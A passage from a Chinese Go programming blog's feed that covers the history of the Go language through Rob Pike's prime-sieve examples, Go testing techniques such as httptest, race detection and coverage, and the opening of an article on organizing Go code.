中文)!\u0026rdquo;\nUTF-8编码的源码输入。字符串字面量也自动是utf8编码格式的。\n但什么是字符串(string)呢？\n首批写入规范的语法规则，今天很难改变了。(blog.golang.org/strings)\n33、)\n没有分号\n在go发布后不久我们就去除了分号\n早期曾胡闹地尝试将它们（译注：指得是括号）去掉\n最终接受了BCPL的方案\n34、}\n第一轮结束。\n旁白：还没有讨论到的\n– 类型\n– 常量\n– 方法\n– interface\n– 库\n– 内存管理\n– 并发（接下来将讨论）\n外加工具，生态系统，社区等。\n语言是核心，但也只是我们故事的一部分。\n35、成功\n要素：\n– 站在巨人的肩膀上(building on history)\n– 经验之作(building on experience) 译注：最初的三个神级语言设计者\n– 设计过程\n– 早期idea提炼到最终的方案中\n– 由一个小团队专门集中精力做\n最终：承诺\nGo 1.0锁定了语言核心与标准库。\n36、另一轮\n让我们看第二个程序的类似演化过程。\n37、问题：素数筛(Prime sieve)\n问题来自于Communicating Sequential Processes, by C. A. R. Hoare, 1978。\n“问题：以升序打印所有小于10000的素数。使用一个process数组：SIEVE，其中每个process从其前驱元素输入一个素数并打印它。接下 来这个process从其前驱元素接收到一个升序数字流并将它们传给其后继元素，这个过程会剔除掉所有是最初素数整数倍的数字。\n38、解决方案\n在1978年的CSP论文中。（注意不是Eratosthenes筛）\n这个优美的方案是由David Gries贡献出来的。\n39、CSP\n在Hoare的CSP论文中：\n[SIEVE(i:1..100)::\np,mp:integer;\nSIEVE(i - 1)?p;\nprint!p;\nmp := p; comment mp is a multiple of p;\n*[m:integer; SIEVE(i - 1)?m →\n*[m \u0026gt; mp → mp := mp + p];\n[m = mp → skip\n||m \u0026lt; mp → SIEVE(i + 1)!m\n] ]\n||SIEVE(0)::print!2; n:integer; n := 3;\n*[n \u0026lt; 10000 → SIEVE(1)!n; n := n + 2]\n||SIEVE(101)::*[n:integer;SIEVE(100)?n → print!n]\n||print::*[(i:0..101) n:integer; SIEVE(i)?n → \u0026hellip;]\n]\n没有channel。能处理的素数的个数是在程序中指定的。\n40、Newsqueak\ncirca 1988。\nRob Pike语言设计，Tom Cargill和Doug McIlroy实现。\n使用了channels，这样个数是可编程的。(channel这个idea从何而来？）\ncounter:=prog(end: int, c: chan of int)\n{\ni:int;\nfor(i=2; i\u0026lt;end; i++)\nc\u0026lt;-=i;\n};\nfilter:=prog(prime: int, listen: chan of int, send: chan of int)\n{\ni:int;\nfor(;;)\nif((i=\u0026lt;-listen)%prime)\nsend\u0026lt;-=i;\n};\nsieve:=prog(c: chan of int)\n{\nfor(;;){\nprime:=\u0026lt;-c;\nprint(prime, \u0026quot; \u0026ldquo;);\nnewc:=mk(chan of int);\nbegin filter(prime, c, newc);\nc=newc;\n}\n};\ncount:=mk(chan of int);\nbegin counter(10000, count);\nbegin sieve(count);\n\u0026ldquo;\u0026rdquo;;\n41、sieve.go，2008年3月5日\n使用go规范编写的第一个版本，可能是第二个由go编写的重要程序。\n\u0026gt;用于发送；\u0026lt;用于接收。Channel是指针。Main是头字母大写的。\npackage Main\n// Send the sequence 2, 3, 4, … to channel \u0026lsquo;ch\u0026rsquo;.\nfunc Generate(ch *chan\u0026gt; int) {\nfor i := 2; ; i++ {\n\u0026gt;ch = i; // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;ch\u0026rsquo;.\n}\n}\n// Copy the values from channel \u0026lsquo;in\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;,\n// removing those divisible by \u0026lsquo;prime\u0026rsquo;.\nfunc Filter(in *chan\u0026lt; int, out *chan\u0026gt; int, prime int) {\nfor ; ; {\ni := \u0026lt;in; // Receive value of new variable \u0026lsquo;i\u0026rsquo; from \u0026lsquo;in\u0026rsquo;.\nif i % prime != 0 {\n\u0026gt;out = i; // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;.\n}\n}\n}\n// The prime sieve: Daisy-chain Filter processes together.\nfunc Sieve() {\nch := new(chan int); // Create a new channel.\ngo Generate(ch); // Start Generate() as a subprocess.\nfor ; ; {\nprime := \u0026lt;ch;\nprintf(\u0026quot;%d\\n\u0026rdquo;, prime);\nch1 := new(chan int);\ngo Filter(ch, ch1, prime);\nch = ch1;\n}\n}\nfunc Main() {\nSieve();\n}\n42. sieve.go，2008年7月22日\n-\u0026lt;用于发送；-\u0026lt;用于接收。Channel仍然是指针。但现在main不是大写字母开头的了。\npackage main\n// Send the sequence 2, 3, 4, … to channel \u0026lsquo;ch\u0026rsquo;.\nfunc Generate(ch *chan-\u0026lt; int) {\nfor i := 2; ; i++ {\nch -\u0026lt; i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;ch\u0026rsquo;.\n}\n}\n// Copy the values from channel \u0026lsquo;in\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;,\n// removing those divisible by \u0026lsquo;prime\u0026rsquo;.\nfunc Filter(in *chan\u0026lt;- int, out *chan-\u0026lt; int, prime int) {\nfor {\ni := \u0026lt;-in; // Receive value of new variable \u0026lsquo;i\u0026rsquo; from \u0026lsquo;in\u0026rsquo;.\nif i % prime != 0 {\nout -\u0026lt; i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;.\n}\n}\n}\n// The prime sieve: Daisy-chain Filter processes together.\nfunc Sieve() {\nch := new(chan int); // Create a new channel.\ngo Generate(ch); // Start Generate() as a subprocess.\nfor {\nprime := \u0026lt;-ch;\nprintf(\u0026quot;%d\\n\u0026rdquo;, prime);\nch1 := new(chan int);\ngo Filter(ch, ch1, prime);\nch = ch1\n}\n}\nfunc main() {\nSieve()\n}\n43、sieve.go，2008年9月17日\n通信操作符现在是\u0026lt;-。channel仍然是指针。\npackage main\n// Send the sequence 2, 3, 4, … to channel \u0026lsquo;ch\u0026rsquo;.\nfunc Generate(ch *chan \u0026lt;- int) {\nfor i := 2; ; i++ {\nch \u0026lt;- i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;ch\u0026rsquo;.\n}\n}\n// Copy the values from channel \u0026lsquo;in\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;,\n// removing those divisible by \u0026lsquo;prime\u0026rsquo;.\nfunc Filter(in *chan \u0026lt;- int, out *\u0026lt;-chan int, prime int) {\nfor {\ni := \u0026lt;-in; // Receive value of new variable \u0026lsquo;i\u0026rsquo; from \u0026lsquo;in\u0026rsquo;.\nif i % prime != 0 {\nout \u0026lt;- i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;.\n}\n}\n}\n// The prime sieve: Daisy-chain Filter processes together.\nfunc Sieve() {\nch := new(chan int); // Create a new channel.\ngo Generate(ch); // Start Generate() as a subprocess.\nfor {\nprime := \u0026lt;-ch;\nprint(prime, \u0026ldquo;\\n\u0026rdquo;);\nch1 := new(chan int);\ngo Filter(ch, ch1, prime);\nch = ch1\n}\n}\nfunc main() {\nSieve()\n}\n44、sieve.go，2009年1月6日\n引入了make内置操作符。没有指针。编码错误！（有个*被留下了，错误的参数类型）\npackage main\n// Send the sequence 2, 3, 4, … to channel \u0026lsquo;ch\u0026rsquo;.\nfunc Generate(ch chan \u0026lt;- int) {\nfor i := 2; ; i++ {\nch \u0026lt;- i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;ch\u0026rsquo;.\n}\n}\n// Copy the values from channel \u0026lsquo;in\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;,\n// removing those divisible by \u0026lsquo;prime\u0026rsquo;.\nfunc Filter(in chan \u0026lt;- int, out *\u0026lt;-chan int, prime int) {\nfor {\ni := \u0026lt;-in; // Receive value of new variable \u0026lsquo;i\u0026rsquo; from \u0026lsquo;in\u0026rsquo;.\nif i % prime != 0 {\nout \u0026lt;- i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;.\n}\n}\n}\n// The prime sieve: Daisy-chain Filter processes together.\nfunc Sieve() {\nch := make(chan int); // Create a new channel.\ngo Generate(ch); // Start Generate() as a subprocess.\nfor {\nprime := \u0026lt;-ch;\nprint(prime, \u0026ldquo;\\n\u0026rdquo;);\nch1 := make(chan int);\ngo Filter(ch, ch1, prime);\nch = ch1\n}\n}\nfunc main() {\nSieve()\n}\n45、sieve.go，2009年9月25日\n第一个正确的现代版本。同样，大写头母不见了，使用了fmt。\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\n// Send the sequence 2, 3, 4, … to channel \u0026lsquo;ch\u0026rsquo;.\nfunc generate(ch chan\u0026lt;- int) {\nfor i := 2; ; i++ {\nch \u0026lt;- i; // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;ch\u0026rsquo;.\n}\n}\n// Copy the values from channel \u0026lsquo;in\u0026rsquo; to channel \u0026lsquo;out\u0026rsquo;,\n// removing those divisible by \u0026lsquo;prime\u0026rsquo;.\nfunc filter(src \u0026lt;-chan int, dst chan\u0026lt;- int, prime int) {\nfor i := range src { // Loop over values received from \u0026lsquo;src\u0026rsquo;.\nif i%prime != 0 {\ndst \u0026lt;- i; // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;dst\u0026rsquo;.\n}\n}\n}\n// The prime sieve: Daisy-chain filter processes together.\nfunc sieve() {\nch := make(chan int); // Create a new channel.\ngo generate(ch); // Start generate() as a subprocess.\nfor {\nprime := \u0026lt;-ch;\nfmt.Print(prime, \u0026ldquo;\\n\u0026rdquo;);\nch1 := make(chan int);\ngo filter(ch, ch1, prime);\nch = ch1;\n}\n}\nfunc main() {\nsieve();\n}\n46、sieve.go，2009年12月10日\n分号不见了。程序已经与现在一致了。\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\n// Send the sequence 2, 3, 4, … to channel \u0026lsquo;ch\u0026rsquo;.\nfunc generate(ch chan\u0026lt;- int) {\nfor i := 2; ; i++ {\nch \u0026lt;- i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;ch\u0026rsquo;.\n}\n}\n// Copy the values from channel \u0026lsquo;src\u0026rsquo; to channel \u0026lsquo;dst\u0026rsquo;,\n// removing those divisible by \u0026lsquo;prime\u0026rsquo;.\nfunc filter(src \u0026lt;-chan int, dst chan\u0026lt;- int, prime int) {\nfor i := range src { // Loop over values received from \u0026lsquo;src\u0026rsquo;.\nif i%prime != 0 {\ndst \u0026lt;- i // Send \u0026lsquo;i\u0026rsquo; to channel \u0026lsquo;dst\u0026rsquo;.\n}\n}\n}\n// The prime sieve: Daisy-chain filter processes together.\nfunc sieve() {\nch := make(chan int) // Create a new channel.\ngo generate(ch) // Start generate() as a subprocess.\nfor {\nprime := \u0026lt;-ch\nfmt.Print(prime, \u0026ldquo;\\n\u0026rdquo;)\nch1 := make(chan int)\ngo filter(ch, ch1, prime)\nch = ch1\n}\n}\nfunc main() {\nsieve()\n}\n这个优美的方案来自于几十年的设计过程。\n47、旁边，没有讨论到的\nselect\n真实并发程序的核心连接器（connector)\n最初起源于Dijkstra的守卫命令(guarded command)\n在Hoare的CSP理论实现真正并发。\n经过Newsqueak、Alef、Limbo和其他语言改良后\n2008年3月26日出现在Go版本中。\n简单，澄清，语法方面的考虑。\n48、稳定性\nSieve程序自从2009年末就再未改变过。– 稳定！\n开源系统并不总是兼容和稳定的。\n但，Go是。（兼容和稳定的）\n这是Go成功的一个重要原因。\n**49、**趋势\n图数据展示了Go 1.0发布后Go语言的爆发。\n50、成功\nGo成功的元素：\n显然的：功能和工具。\n* 并发\n* 垃圾回收\n* 高效的实现\n* 给人以动态类型体验的静态类型系统\n* 丰富但规模有限的标准库\n* 工具化\n* gofmt\n* 在大规模系统中的应用\n不那么显然的：过程\n* 始终聚焦最初的目标\n* 在冻结后的集中开发\n* 小核心团队易于取得一致\n* 社区的重要贡献\n* 丰富的生态系统\n总之，开源社区共享了我们的使命，聚焦于为当今的世界设计一门语言。\n","permalink":"https://tonybai.com/2014/10/25/golang-history/","summary":"\u003cp\u003e本文来自Google的\u003ca href=\"http://golang.org/\"\u003eGolang\u003c/a\u003e语言设计者之一\u003ca href=\"http://en.wikipedia.org/wiki/Rob_Pike\"\u003eRob Pike\u003c/a\u003e大神在GopherCon2014大会上的开幕主题演讲资料“\u003ca href=\"http://talks.golang.org/2014/hellogophers.slide\"\u003eHello, Gophers\u003c/a\u003e!”。Rob大神在这次分 享中用了两个生动的例子讲述了Golang的演化历程，总结了Golang到目前为止的成功因素，值得广大Golang Programmer \u0026amp; Beginner学习和了解。这里也用了\u0026quot;Golang的演化历程\u0026quot;作为标题。\u003c/p\u003e","title":"Golang的演化历程"},{"content":"本篇文章内容来源于Golang核心开发组成员Andrew Gerrand在Google I/O 2014的一次主题分享“Testing Techniques”，即介绍使用Golang开发 时会使用到的测试技术（主要针对单元测试），包括基本技术、高级技术（并发测试、mock/fake、竞争条件测试、并发测试、内/外部测 试、vet工具等）等，感觉总结的很全面，这里整理记录下来，希望能给大家带来帮助。原Slide访问需要自己搭梯子。另外这里也要吐槽一 下：Golang官方站的slide都是以一种特有的golang artical的格式放出的（用这个工具http://go-talks.appspot.com/可以在线观看），没法像pdf那样下载，在国内使用和传播极其不便。\n一、基础测试技术\n1、测试Go代码\nGo语言内置测试框架。\n内置的测试框架通过testing包以及go test命令来提供测试功能。\n下面是一个完整的测试strings.Index函数的完整测试文件：\n//strings_test.go (这里样例代码放入strings_test.go文件中)\npackage strings_test\nimport (\n\u0026ldquo;strings\u0026rdquo;\n\u0026ldquo;testing\u0026rdquo;\n)\nfunc TestIndex(t *testing.T) {\nconst s, sep, want = \u0026ldquo;chicken\u0026rdquo;, \u0026ldquo;ken\u0026rdquo;, 4\ngot := strings.Index(s, sep)\nif got != want {\nt.Errorf(\u0026ldquo;Index(%q,%q) = %v; want %v\u0026rdquo;, s, sep, got, want)//注意原slide中的got和want写反了\n}\n}\n$go test -v strings_test.go\n=== RUN TestIndex\n— PASS: TestIndex (0.00 seconds)\nPASS\nok command-line-arguments 0.007s\ngo test的-v选项是表示输出详细的执行信息。\n将代码中的want常量值修改为3，我们制造一个无法通过的测试：\n$go test -v strings_test.go\n=== RUN TestIndex\n— FAIL: TestIndex (0.00 seconds)\nstrings_test.go:12: Index(\u0026ldquo;chicken\u0026rdquo;,\u0026ldquo;ken\u0026rdquo;) = 4; want 3\nFAIL\nexit status 1\nFAIL command-line-arguments 0.008s\n2、表驱动测试\nGolang的struct字面值(struct literals)语法让我们可以轻松写出表驱动测试。\npackage strings_test\nimport (\n\u0026ldquo;strings\u0026rdquo;\n\u0026ldquo;testing\u0026rdquo;\n)\nfunc TestIndex(t *testing.T) {\nvar tests = []struct {\ns string\nsep string\nout int\n}{\n{\u0026quot;\u0026quot;, \u0026ldquo;\u0026rdquo;, 0},\n{\u0026quot;\u0026quot;, \u0026ldquo;a\u0026rdquo;, -1},\n{\u0026ldquo;fo\u0026rdquo;, \u0026ldquo;foo\u0026rdquo;, -1},\n{\u0026ldquo;foo\u0026rdquo;, \u0026ldquo;foo\u0026rdquo;, 0},\n{\u0026ldquo;oofofoofooo\u0026rdquo;, \u0026ldquo;f\u0026rdquo;, 2},\n// etc\n}\nfor _, test := range tests {\nactual := strings.Index(test.s, test.sep)\nif actual != test.out {\nt.Errorf(\u0026ldquo;Index(%q,%q) = %v; want %v\u0026rdquo;,\ntest.s, test.sep, actual, test.out)\n}\n}\n}\n$go test -v strings_test.go\n=== RUN TestIndex\n— PASS: TestIndex (0.00 seconds)\nPASS\nok command-line-arguments 0.007s\n3、T结构\n*testing.T参数用于错误报告：\nt.Errorf(\u0026ldquo;got bar = %v, want %v\u0026rdquo;, got, want)\nt.Fatalf(\u0026ldquo;Frobnicate(%v) returned error: %v\u0026rdquo;, arg, err)\nt.Logf(\u0026ldquo;iteration %v\u0026rdquo;, i)\n也可以用于enable并行测试(parallet test)：\nt.Parallel()\n控制一个测试是否运行：\nif runtime.GOARCH == \u0026ldquo;arm\u0026rdquo; {\nt.Skip(\u0026ldquo;this doesn\u0026rsquo;t work on ARM\u0026rdquo;)\n}\n4、运行测试\n我们用go test命令来运行特定包的测试。\n默认执行当前路径下包的测试代码。\n$ go test\nPASS\n$ go test -v\n=== RUN TestIndex\n— PASS: TestIndex (0.00 seconds)\nPASS\n要运行工程下的所有测试，我们执行如下命令：\n$ go test github.com/nf/…\n标准库的测试：\n$ go test std\n注：假设strings_test.go的当前目录为testgo，在testgo目录下执行go test都是OK的。但如果我们切换到testgo的上一级目录执行go test，我们会得到什么结果呢？\n$go test testgo\ncan\u0026rsquo;t load package: package testgo: cannot find package \u0026ldquo;testgo\u0026rdquo; in any of:\n/usr/local/go/src/pkg/testgo (from $GOROOT)\n/Users/tony/Test/GoToolsProjects/src/testgo (from $GOPATH)\n提示找不到testgo这个包，go test后面接着的应该是一个包名，go test会在GOROOT和GOPATH下查找这个包并执行包的测试。\n5、测试覆盖率\ngo tool命令可以报告测试覆盖率统计。\n我们在testgo下执行go test -cover，结果如下：\ngo build _/Users/tony/Test/Go/testgo: no buildable Go source files in /Users/tony/Test/Go/testgo\nFAIL _/Users/tony/Test/Go/testgo [build failed]\n显然通过cover参数选项计算测试覆盖率不仅需要测试代码，还要有被测对象（一般是函数）的源码文件。\n我们将目录切换到$GOROOT/src/pkg/strings下，执行go test -cover：\n$go test -v -cover\n=== RUN TestReader\n— PASS: TestReader (0.00 seconds)\n… …\n=== RUN: ExampleTrimPrefix\n— PASS: ExampleTrimPrefix (1.75us)\nPASS\ncoverage: 96.9% of statements\nok strings 0.612s\ngo test可以生成覆盖率的profile文件，这个文件可以被go tool cover工具解析。\n在$GOROOT/src/pkg/strings下面执行：\n$ go test -coverprofile=cover.out\n会再当前目录下生成cover.out文件。\n查看cover.out文件，有两种方法：\na) cover -func=cover.out\n$sudo go tool cover -func=cover.out\nstrings/reader.go:24: Len 66.7%\nstrings/reader.go:31: Read 100.0%\nstrings/reader.go:44: ReadAt 100.0%\nstrings/reader.go:59: ReadByte 100.0%\nstrings/reader.go:69: UnreadByte 100.0%\n… …\nstrings/strings.go:638: Replace 100.0%\nstrings/strings.go:674: EqualFold 100.0%\ntotal: (statements) 96.9%\nb) 可视化查看\n执行go tool cover -html=cover.out命令，会在/tmp目录下生成目录coverxxxxxxx，比如/tmp/cover404256298。目录下有一个 coverage.html文件。用浏览器打开coverage.html，即可以可视化的查看代码的测试覆盖情况。\n关于go tool的cover命令，我的go version go1.3 darwin/amd64默认并不自带，需要通过go get下载。\n$sudo GOPATH=/Users/tony/Test/GoToolsProjects go get code.google.com/p/go.tools/cmd/cover\n下载后，cover安装在$GOROOT/pkg/tool/darwin_amd64下面。\n二、高级测试技术\n1、一个例子程序\noutyet是一个web服务，用于宣告某个特定Go版本是否已经打标签发布了。其获取方法：\ngo get github.com/golang/example/outyet\n注：\ngo get执行后，cd $GOPATH/src/github.com/golang/example/outyet下，执行go run main.go。然后用浏览器打开http://localhost:8080即可访问该Web服务了。\n2、测试Http客户端和服务端\nnet/http/httptest包提供了许多帮助函数，用于测试那些发送或处理Http请求的代码。\n3、httptest.Server\nhttptest.Server在本地回环网口的一个系统选择的端口上listen。它常用于端到端的HTTP测试。\ntype Server struct {\nURL string // base URL of form http://ipaddr:port with no trailing slash\nListener net.Listener\n// TLS is the optional TLS configuration, populated with a new config\n// after TLS is started. If set on an unstarted server before StartTLS\n// is called, existing fields are copied into the new config.\nTLS *tls.Config\n// Config may be changed after calling NewUnstartedServer and\n// before Start or StartTLS.\nConfig *http.Server\n}\nfunc NewServer(handler http.Handler) *Server\nfunc (*Server) Close() error\n4、httptest.Server实战\n下面代码创建了一个临时Http Server，返回简单的Hello应答：\nts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\nfmt.Fprintln(w, \u0026ldquo;Hello, client\u0026rdquo;)\n}))\ndefer ts.Close()\nres, err := http.Get(ts.URL)\nif err != nil {\nlog.Fatal(err)\n}\ngreeting, err := ioutil.ReadAll(res.Body)\nres.Body.Close()\nif err != nil {\nlog.Fatal(err)\n}\nfmt.Printf(\u0026quot;%s\u0026quot;, greeting)\n5、httptest.ResponseRecorder\nhttptest.ResponseRecorder是http.ResponseWriter的一个实现，用来记录变化，用在测试的后续检视中。\ntype ResponseRecorder struct {\nCode int // the HTTP response code from WriteHeader\nHeaderMap http.Header // the HTTP response headers\nBody *bytes.Buffer // if non-nil, the bytes.Buffer to append written data to\nFlushed bool\n}\n6、httptest.ResponseRecorder实战\n向一个HTTP handler中传入一个ResponseRecorder，通过它我们可以来检视生成的应答。\nhandler := func(w http.ResponseWriter, r *http.Request) {\nhttp.Error(w, \u0026ldquo;something failed\u0026rdquo;, http.StatusInternalServerError)\n}\nreq, err := http.NewRequest(\u0026ldquo;GET\u0026rdquo;, \u0026ldquo;http://example.com/foo\u0026quot;, nil)\nif err != nil {\nlog.Fatal(err)\n}\nw := httptest.NewRecorder()\nhandler(w, req)\nfmt.Printf(\u0026quot;%d – %s\u0026rdquo;, w.Code, w.Body.String())\n7、竞争检测(race detection)\n当两个goroutine并发访问同一个变量，且至少一个goroutine对变量进行写操作时，就会发生数据竞争（data race）。\n为了协助诊断这种bug，Go提供了一个内置的数据竞争检测工具。\n通过传入-race选项，go tool就可以启动竞争检测。\n$ go test -race mypkg // to test the package\n$ go run -race mysrc.go // to run the source file\n$ go build -race mycmd // to build the command\n$ go install -race mypkg // to install the package\n注：一个数据竞争检测的例子\n例子代码：\n//testrace.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nimport \u0026ldquo;time\u0026rdquo;\nfunc main() {\nvar i int = 0\ngo func() {\nfor {\ni++\nfmt.Println(\u0026ldquo;subroutine: i = \u0026ldquo;, i)\ntime.Sleep(1 * time.Second)\n}\n}()\nfor {\ni++\nfmt.Println(\u0026ldquo;mainroutine: i = \u0026ldquo;, i)\ntime.Sleep(1 * time.Second)\n}\n}\n$go run -race testrace.go\nmainroutine: i = 1\n==================\nWARNING: DATA RACE\nRead by goroutine 5:\nmain.func·001()\n/Users/tony/Test/Go/testrace.go:10 +0×49\nPrevious write by main goroutine:\nmain.main()\n/Users/tony/Test/Go/testrace.go:17 +0xd5\nGoroutine 5 (running) created at:\nmain.main()\n/Users/tony/Test/Go/testrace.go:14 +0xaf\n==================\nsubroutine: i = 2\nmainroutine: i = 3\nsubroutine: i = 4\nmainroutine: i = 5\nsubroutine: i = 6\nmainroutine: i = 7\nsubroutine: i = 8\n8、测试并发**（testing with concurrency)**\n当测试并发代码时，总会有一种使用sleep的冲动。大多时间里，使用sleep既简单又有效。\n但大多数时间不是”总是“。\n我们可以使用Go的并发原语让那些奇怪不靠谱的sleep驱动的测试更加值得信赖。\n**9、**使用静态分析工具vet查找错误\nvet工具用于检测代码中程序员犯的常见错误：\n– 错误的printf格式\n– 错误的构建tag\n– 在闭包中使用错误的range循环变量\n– 无用的赋值操作\n– 无法到达的代码\n– 错误使用mutex\n等等。\n使用方法：\ngo vet [package]\n**10、**从内部测试\ngolang中大多数测试代码都是被测试包的源码的一部分。这意味着测试代码可以访问包种未导出的符号以及内部逻辑。就像我们之前看到的那样。\n注：比如$GOROOT/src/pkg/path/path_test.go与path.go都在path这个包下。\n11、从外部测试\n有些时候，你需要从被测包的外部对被测包进行测试，比如测试代码在package foo_test下，而不是在package foo下。\n这样可以打破依赖循环，比如：\n– testing包使用fmt\n– fmt包的测试代码还必须导入testing包\n– 于是，fmt包的测试代码放在fmt_test包下，这样既可以导入testing包，也可以同时导入fmt包。\n12、Mocks和fakes\n通过在代码中使用interface，Go可以避免使用mock和fake测试机制。\n例如，如果你正在编写一个文件格式解析器，不要这样设计函数：\nfunc Parser(f *os.File) error\n作为替代，你可以编写一个接受interface类型的函数:\nfunc Parser(r io.Reader) error\n和bytes.Buffer、strings.Reader一样，*os.File也实现了io.Reader接口。\n13、子进程测试\n有些时候，你需要测试的是一个进程的行为，而不仅仅是一个函数。例如：\nfunc Crasher() {\nfmt.Println(\u0026ldquo;Going down in flames!\u0026rdquo;)\nos.Exit(1)\n}\n为了测试上面的代码，我们将测试程序本身作为一个子进程进行测试：\nfunc TestCrasher(t *testing.T) {\nif os.Getenv(\u0026ldquo;BE_CRASHER\u0026rdquo;) == \u0026ldquo;1\u0026rdquo; {\nCrasher()\nreturn\n}\ncmd := exec.Command(os.Args[0], \u0026ldquo;-test.run=TestCrasher\u0026rdquo;)\ncmd.Env = append(os.Environ(), \u0026ldquo;BE_CRASHER=1\u0026rdquo;)\nerr := cmd.Run()\nif e, ok := err.(*exec.ExitError); ok \u0026amp;\u0026amp; !e.Success() {\nreturn\n}\nt.Fatalf(\u0026ldquo;process ran with err %v, want exit status 1\u0026rdquo;, err)\n}\n","permalink":"https://tonybai.com/2014/10/22/golang-testing-techniques/","summary":"\u003cp\u003e本篇文章内容来源于\u003ca href=\"http://golang.org/\"\u003eGolang\u003c/a\u003e核心开发组成员\u003ca href=\"http://nf.wh3rd.net/\"\u003eAndrew Gerrand\u003c/a\u003e在Google I/O 2014的一次主题分享“\u003ca href=\"https://talks.golang.org/2014/testing.slide#1\"\u003eTesting Techniques\u003c/a\u003e”，即介绍使用Golang开发 时会使用到的测试技术（主要针对\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003e\u003cstrong\u003e单元测试\u003c/strong\u003e\u003c/a\u003e），包括基本技术、高级技术（并发测试、\u003ca href=\"http://tonybai.com/2010/10/29/lcut-add-mock-support/\"\u003emock\u003c/a\u003e/fake、竞争条件测试、并发测试、内/外部测 试、vet工具等）等，感觉总结的很全面，这里整理记录下来，希望能给大家带来帮助。原Slide访问需要自己搭梯子。另外这里也要吐槽一 下：Golang官方站的slide都是以一种特有的\u003ca href=\"http://godoc.org/code.google.com/p/go.tools/present\"\u003egolang artical\u003c/a\u003e的格式放出的（用这个工具http://go-talks.appspot.com/可以在线观看），没法像pdf那样下载，在国内使用和传播极其不便。\u003c/p\u003e","title":"Golang测试技术"},{"content":"本月初golang官方blog(需要自己搭梯子)上发布了一篇文章，简要介绍了近几个月Go在一 些技术会议上（比如Google I/O、Gopher SummerFest等）的主题分享并伴有slide链接。其中David Crawshaw的“Organizing Go Code”对Golang的代码风格以及工程组 织的最佳实践进行的总结很是全面和到位，这里按Slide中的思路和内容翻译和摘录如下（部分伴有我个人的若干理解）。\n一、包 (Packages)\n1、Golang程序由package组成\n所有Go源码都是包得一部分。\n每个Go源文件都起始于一条package语句。\nGo应用程序的执行起始于main包。\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Println(\u0026ldquo;Hello, world!\u0026rdquo;)\n}\n对小微型程序而言，你可能只需要编写main包内的源码。\n上面的HelloWorld程序import了fmt包。\n函数Println定义在fmt包中。\n2、一个例子：fmt包\n// Package fmt implements formatted I/O.\npackage fmt\n// Println formats using the default formats for its\n// operands and writes to standard output.\nfunc Println(a …interface{}) (n int, err error) {\n…\n}\nfunc newPrinter() *pp {\n…\n}\nPrintln是一个导出(exported)函数，它的函数名以大写字母开头，这意味着它允许其他包中的函数调用它。\nnewPrinter函数则并非导出函数，它的函数名以小写字母开头，它只能在fmt包内部被使用。\n3、包的形态(Shape)\n包是有关联关系的代码的集合，包规模可大可小，大包甚至可以横跨多个源文件。\n同一个包的所有源文件都放在一个单一目录下面。\nnet/http包共由18个文件组成，导出了超过100个名字符号。\nerrors包仅仅由一个文件组成，并仅导出了一个名字符号。\n4、包的命名\n包的命名应该短小且有含义。\n不要使用下划线，那样会导致包名过长;\n不要过于概况，一个util包可能包含任何含义的代码；\n使用io/ioutil，而不是io/util\n使用suffixarray，而不是suffix_array\n包名是其导出的类型名以及函数名的组成部分。\nbuf := new(bytes.Buffer)\n仔细挑选包名\n为用户选择一个好包名。\n5、对包的测试\n通过文件名我们可以区分出哪些是测试用源文件。测试文件以_test.go结尾。下面是一个测试文件的样例：\npackage fmt\nimport \u0026ldquo;testing\u0026rdquo;\nvar fmtTests = []fmtTest{\n{\u0026quot;%d\u0026quot;, 12345, \u0026ldquo;12345\u0026rdquo;},\n{\u0026quot;%v\u0026quot;, 12345, \u0026ldquo;12345\u0026rdquo;},\n{\u0026quot;%t\u0026quot;, true, \u0026ldquo;true\u0026rdquo;},\n}\nfunc TestSprintf(t *testing.T) {\nfor _, tt := range fmtTests {\nif s := Sprintf(tt.fmt, tt.val); s != tt.out {\nt.Errorf(\u0026quot;…\u0026quot;)\n}\n}\n}\n二、代码组织(Code organization)\n1、工作区介绍(workspace)\n你的Go源码被放在一个工作区(workspace)中。\n一个workspace可以包含多个源码库(repository)，诸如git，hg等。\nGo工具知晓一个工作区的布局。\n你无需使用Makefile，通过文件布局，我们可以完成所有事情。\n若文件布局发生变动，则需重新构建。\n$GOPATH/\nsrc/\ngithub.com/user/repo/\nmypkg/\nmysrc1.go\nmysrc2.go\ncmd/mycmd/\nmain.go\nbin/\nmycmd\n2、建立一个工作区\nmkdir /tmp/gows\nGOPATH=/tmp/gows\nGOPATH环境变量告诉Go工具族你的工作区的位置。\ngo get github.com/dsymonds/fixhub/cmd/fixhub\ngo get命令从互联网网下载源代码库，并将它们放置在你的工作区中。\n包的路径对Go工具来说很是重要，使用\u0026quot;github.com\u0026quot;意味着Go工具知道如何去获取你的源码库。\ngo install github.com/dsymonds/fixhub/cmd/fixhub\ngo install命令构建一个可执行程序，并将其放置在$GOPATH/bin/fixhub中。\n3、我们的工作区\n$GOPATH/\nbin/fixhub # installed binary\npkg/darwin_amd64/ # compiled archives\ncode.google.com/p/goauth2/oauth.a\ngithub.com/…\nsrc/ # source repositories\ncode.google.com/p/goauth2/\n.hg\noauth # used by package go-github\n…\ngithub.com/\ngolang/lint/… # used by package fixhub\n.git\ngoogle/go-github/… # used by package 